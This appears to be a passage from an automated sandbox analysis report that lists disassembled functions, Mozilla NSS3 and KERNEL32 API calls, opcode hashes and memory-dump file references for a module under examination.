strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6BA8781D,?,6BA7BE2C,?,00000000,00000000), ref: 6BA86BAF
free.MOZGLUE(00000000,?,?,?,?,00000000,00000000,6BA8781D,?,6BA7BE2C,?,00000000,00000000), ref: 6BA86BE6
free.MOZGLUE(?,?,?,?,?,00000000,00000000,6BA8781D,?,6BA7BE2C,?,00000000,00000000), ref: 6BA86BF7
free.MOZGLUE(6BA8781D,?,?,?,?,00000000,00000000,6BA8781D,?,6BA7BE2C,?,00000000,00000000), ref: 6BA86C08

Part of subcall function 6BA86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6BA8781D,00000000,6BA7BE2C,?,6BA86B1D,?,?,?,?,00000000,00000000,6BA8781D), ref: 6BA86C40
Part of subcall function 6BA86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6BA8781D,?,6BA7BE2C,?), ref: 6BA86C58
Part of subcall function 6BA86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6BA8781D), ref: 6BA86C6F
Part of subcall function 6BA86C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6BA86C84
Part of subcall function 6BA86C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6BA86C96
Part of subcall function 6BA86C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6BA86CAA

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: strcmpstrncmp$FlagL_strncasecmpfree$Strip$ParameterSecureSkip
String ID:
API String ID: 3779992554-0
Opcode ID: 215a0dc2df2535814285978fc9cf823b9196782dd35f6d6e36024f3fa53709b6
Instruction ID: d89dbdec5ebfc3f0509fdeeca2b0550a4c0febcfc44dd5b84c6c5799a6424fa4
Opcode Fuzzy Hash: 215a0dc2df2535814285978fc9cf823b9196782dd35f6d6e36024f3fa53709b6
Instruction Fuzzy Hash: 214160B1E542199BFF00CEE9C949BAEB7B8AF05348F080465D814A7750E739E980CBA1

Function 6BA94B00 Relevance: 7.6, APIs: 5, Instructions: 119stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,-00000001,00000000,?,?,6BA87B3B,00000000,?,?,00000000), ref: 6BA94BA3

Part of subcall function 6BA98970: TlsGetValue.KERNEL32(?,00000000,6BA461C4,?,6BA45639,00000000), ref: 6BA98991
Part of subcall function 6BA98970: TlsGetValue.KERNEL32(?,?,?,?,?,6BA45639,00000000), ref: 6BA989AD
Part of subcall function 6BA98970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6BA45639,00000000), ref: 6BA989C6
Part of subcall function 6BA98970: PR_WaitCondVar.NSS3 ref: 6BA989F7
Part of subcall function 6BA98970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6BA45639,00000000), ref: 6BA98A0C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6BA94B44
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6BA94B7E
SECMOD_DestroyModule.NSS3(00000000), ref: 6BA94C44
free.MOZGLUE(?), ref: 6BA94C54

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Valuestrcmp$CondCriticalDestroyEnterErrorModuleSectionUnlockWaitfree
String ID:
API String ID: 3094473128-0
Opcode ID: a84e7cf4ae5035778c5e45142d362e0b7bc0647cd4a97b2fcf3535dc2df3d44e
Instruction ID: f1a3725a1108283b5955efe0b9f8050ad1319e531506e8c2ce35797eff81a128
Opcode Fuzzy Hash: a84e7cf4ae5035778c5e45142d362e0b7bc0647cd4a97b2fcf3535dc2df3d44e
Instruction Fuzzy Hash: B4418EB5A10205EFEF20AF29E94271A77E9EF40758F184164D9399B300EB39F990DBD1

Function 6BB51A00 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6BB51A13

Part of subcall function 6BB09BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6BA31A48), ref: 6BB09BB3
Part of subcall function 6BB09BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6BA31A48), ref: 6BB09BC8

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6BB51A28
PR_Unlock.NSS3(?), ref: 6BB51A36
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6BB51A5B
PR_NotifyCondVar.NSS3(?), ref: 6BB51B20

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Error$CondCriticalEnterLockNotifySectionUnlockValue
String ID:
API String ID: 2147238883-0
Opcode ID: 643f6a795d2f91f5dd023f73091e27a79795e166a69fcb629c89d343e690eacb
Instruction ID: 9cb17a92657af76a2f3fb140cb7bc7a64b1425ae50101fe052d1e07947bc74e4
Opcode Fuzzy Hash: 643f6a795d2f91f5dd023f73091e27a79795e166a69fcb629c89d343e690eacb
Instruction Fuzzy Hash: 8741D276E005659BCB10CF58C881A6AB7B1FF84714F19826AD829AB350E335FC61CBD2

Function 6BB5AA70 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6BB5AA86

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

Part of subcall function 6BB5A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6BB5A662), ref: 6BB5A69E
Part of subcall function 6BB5A690: PR_NewCondVar.NSS3(?), ref: 6BB5A6B4

PR_IntervalNow.NSS3 ref: 6BB5AAEC
EnterCriticalSection.KERNEL32(?), ref: 6BB5AB0A
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6BB5AB67
_PR_MD_UNLOCK.NSS3(?), ref: 6BB5AB8B

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CondCriticalEnterErrorIntervalSectionValuecalloc
String ID:
API String ID: 318662135-0
Opcode ID: 4c65e867540de8e2f403c0ec51f868ab3ec76d3721f369b31407926979fd5f87
Instruction ID: c102c7e87d46cd0d5ebb53c80d2283418a0d3442a679c5db64c12a0fdf43cff5
Opcode Fuzzy Hash: 4c65e867540de8e2f403c0ec51f868ab3ec76d3721f369b31407926979fd5f87
Instruction Fuzzy Hash: 20417BB6A003458FC750DF28C8C091EBBF6FF49714724456AE85A9B302E779E851CFA1

Function 6BA46AF0 Relevance: 7.6, APIs: 5, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(00000000,6BA4B21D,00000000,00000000,6BA4B219,?,6BA46BFB,00000000,?,00000000,00000000,?,?,?,6BA4B21D), ref: 6BA46B01

Part of subcall function 6BA9FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6BA9FE08
Part of subcall function 6BA9FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6BA9FE1D
Part of subcall function 6BA9FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6BA9FE62

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,6BA4B219,?,6BA46BFB,00000000,?,00000000,00000000,?,?,?,6BA4B21D), ref: 6BA46B36
PORT_ArenaAlloc_Util.NSS3(00000000,00000030), ref: 6BA46B47
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6BA46B8A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000004,?,0000001C), ref: 6BA46BB6

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Item_$DecodeQuick$Errormemcpy
String ID:
API String ID: 1773792728-0
Opcode ID: be74d23f36a71df9f096cc59ca0b625eef13f2a3fc240449bb787d27f2b60dbd
Instruction ID: b57140ff0d88c16a21d9fa543b5d758de7613198b4196d018a6a3b49405a54c6
Opcode Fuzzy Hash: be74d23f36a71df9f096cc59ca0b625eef13f2a3fc240449bb787d27f2b60dbd
Instruction Fuzzy Hash: E3217532A403106BEF108FA8CD40F663BE8DB45794F0805A9EC088B341F779EAD1CBA0

Function 6BAB4BB0 Relevance: 7.6, APIs: 5, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,C083F089), ref: 6BAB4BDD

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,C083F089), ref: 6BAB4C03

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,C083F089), ref: 6BAB4C15
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,C083F089), ref: 6BAB4C3E

Part of subcall function 6BA9F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6BA9F0C8
Part of subcall function 6BA9F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA9F122

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,C083F089), ref: 6BAB4C85

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$Value$Alloc_AllocateCriticalEncodeEnterInitItem_LockPoolSectionUnlockcallocmemset
String ID:
API String ID: 227267669-0
Opcode ID: dae06e049cc0e2e468fb519bd26e86e872d20a62d1664519bc32b8933678ed5f
Instruction ID: 5bb77c9f1135e3c25d82372c699ab5de19934588494532ab443a207d405de579
Opcode Fuzzy Hash: dae06e049cc0e2e468fb519bd26e86e872d20a62d1664519bc32b8933678ed5f
Instruction Fuzzy Hash: F521C6B29002117BEF101F65AD42B6B3AAD9F42B58F080174ED3897291FB75D85486A5

Function 6BA4B910 Relevance: 7.6, APIs: 5, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6BA4B91B

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6BA4B92C

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA4B95D
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BA4B96B
PORT_ArenaAlloc_Util.NSS3(00000000,?), ref: 6BA4B98B

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Arena_Value$AllocateCriticalEnterErrorFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 1641347807-0
Opcode ID: f6774a531250d8d7ed1c63c2383a1a1c97a53065eb95ffc6d20eaee6650a9a12
Instruction ID: 9f97907e1eb762e4db0aff21ef06b8d25c4fee224be9ec526be1e435dc088841
Opcode Fuzzy Hash: f6774a531250d8d7ed1c63c2383a1a1c97a53065eb95ffc6d20eaee6650a9a12
Instruction Fuzzy Hash: 6E21F135A00701EEEB60CF35CD41B2BB3E8EF46758F54C629D819C7242E739E882C6A0

Function 6BA63AD0 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,6BA65089,6BA5F39B,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA63AF1
EnterCriticalSection.KERNEL32(?,?,?,6BA65089,6BA5F39B,00000000), ref: 6BA63B0A
PR_Unlock.NSS3(?,?,?,?,6BA65089,6BA5F39B,00000000), ref: 6BA63B1F
DeleteCriticalSection.KERNEL32(?,?,?,?,6BA65089,6BA5F39B,00000000), ref: 6BA63B50
free.MOZGLUE(?,?,?,?,?,6BA65089,6BA5F39B,00000000), ref: 6BA63B5C

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterUnlockValuefree
String ID:
API String ID: 460358995-0
Opcode ID: 84333c18544f1b3221c6d9aeb8bd526d476438ee6e03b66a0ab032634727e4e0
Instruction ID: c7edca9a468121fab19525929925b0db5f838e024985209e7ceb06d3f3243a7a
Opcode Fuzzy Hash: 84333c18544f1b3221c6d9aeb8bd526d476438ee6e03b66a0ab032634727e4e0
Instruction Fuzzy Hash: F631F6F5504A059FDB00AF78D289929BBF4FF05354F064998EC859B311EB38E8D5CBA2

Function 6BA53920 Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6BA53939

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6BA5394D

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

Part of subcall function 6BA824E0: TlsGetValue.KERNEL32 ref: 6BA824FF
Part of subcall function 6BA824E0: EnterCriticalSection.KERNEL32(?), ref: 6BA8250F
Part of subcall function 6BA824E0: PR_Unlock.NSS3(?), ref: 6BA8253C
Part of subcall function 6BA824E0: PR_SetError.NSS3(00000000,00000000), ref: 6BA82554

PR_SetError.NSS3(FFFFE005,00000000), ref: 6BA539A3
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BA539BE
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA539CB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: ArenaErrorUtilValue$Arena_CriticalEnterSectionUnlock$Alloc_AllocateFreeInitLockPoolcalloc
String ID:
API String ID: 1657373565-0
Opcode ID: 3a037b4ec4f3de494f6e2813df8e008bc0e7ce8e7d569cce4998348afef98f2e
Instruction ID: 95c5fb12ffe6cb250a7bf5dc2b577ada943ac40db888cde16f87f4c9c679d10c
Opcode Fuzzy Hash: 3a037b4ec4f3de494f6e2813df8e008bc0e7ce8e7d569cce4998348afef98f2e
Instruction Fuzzy Hash: 61215CB6A00211ABDB108F28DC51B1ABBE4EB84715F048265A819DB342E734E9A0CBE1

Function 6BABDA20 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?,?,?,?,6BABDB6F,00000000,?,?,?,6BAD3E93,00000000,?,?,?), ref: 6BABDA35

Part of subcall function 6BA495B0: TlsGetValue.KERNEL32(00000000,?,6BA600D2,00000000), ref: 6BA495D2
Part of subcall function 6BA495B0: EnterCriticalSection.KERNEL32(?,?,?,6BA600D2,00000000), ref: 6BA495E7
Part of subcall function 6BA495B0: PR_Unlock.NSS3(?,?,?,?,6BA600D2,00000000), ref: 6BA49605

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6BABDA43

Part of subcall function 6BA52D20: PK11_DestroyObject.NSS3(?,?), ref: 6BA52D3C
Part of subcall function 6BA52D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6BA52D5F

PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BABDA67

Part of subcall function 6BAA1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA1228
Part of subcall function 6BAA1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6BAA1238
Part of subcall function 6BAA1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA124B
Part of subcall function 6BAA1200: PR_CallOnce.NSS3(6BBA2AA4,6BAA12D0,00000000,00000000,00000000,?,6BA488A4,00000000,00000000), ref: 6BAA125D
Part of subcall function 6BAA1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6BAA126F
Part of subcall function 6BAA1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6BAA1280
Part of subcall function 6BAA1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6BAA128E
Part of subcall function 6BAA1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6BAA129A
Part of subcall function 6BAA1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6BAA12A1

Part of subcall function 6BAB7F90: PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6BAB7FB2
Part of subcall function 6BAB7F90: PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6BAB7FD4
Part of subcall function 6BAB7F90: PR_ExitMonitor.NSS3(?), ref: 6BAB801B

free.MOZGLUE(?), ref: 6BABDAA4
CERT_CertChainFromCert.NSS3(?,00000000,00000000,?,?,?,6BABDB6F,00000000,?,?,?,6BAD3E93,00000000,?,?,?), ref: 6BABDADF

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalDestroyEnterFreeMonitorSectionfree$ArenaArena_CertPoolUnlockUtilValue$CallCertificateChainClearCountDeleteEntryExitFromK11_ObjectOncePrivate
String ID:
API String ID: 3035505096-0
Opcode ID: 452b72f9b8484182c094888dcedc9ecaee7d1642f3d5546192a9ff34f2fa37d4
Instruction ID: fd9fd9315bca59298f86e955915866545aee6267048a7e5e6a3eb50dafbb23e5
Opcode Fuzzy Hash: 452b72f9b8484182c094888dcedc9ecaee7d1642f3d5546192a9ff34f2fa37d4
Instruction Fuzzy Hash: 8D21C7B1544B006BDF218B36EC41B97B7ECAF40644F04042EE4BAD2160EBB9F690CB51

Function 6BA61850 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?,?,6BA6002B,?), ref: 6BA61875

Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090AB
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090C9
Part of subcall function 6BB09090: EnterCriticalSection.KERNEL32 ref: 6BB090E5
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB09116
Part of subcall function 6BB09090: LeaveCriticalSection.KERNEL32 ref: 6BB0913F

TlsGetValue.KERNEL32(?,?,6BA6002B,?), ref: 6BA6188E
EnterCriticalSection.KERNEL32(?,?,?,6BA6002B,?), ref: 6BA618A7
PR_ExitMonitor.NSS3(?,?,?,?,6BA6002B,?), ref: 6BA61905
PR_Unlock.NSS3(?,?,?,?,6BA6002B,?), ref: 6BA61912

Memory Dump Source

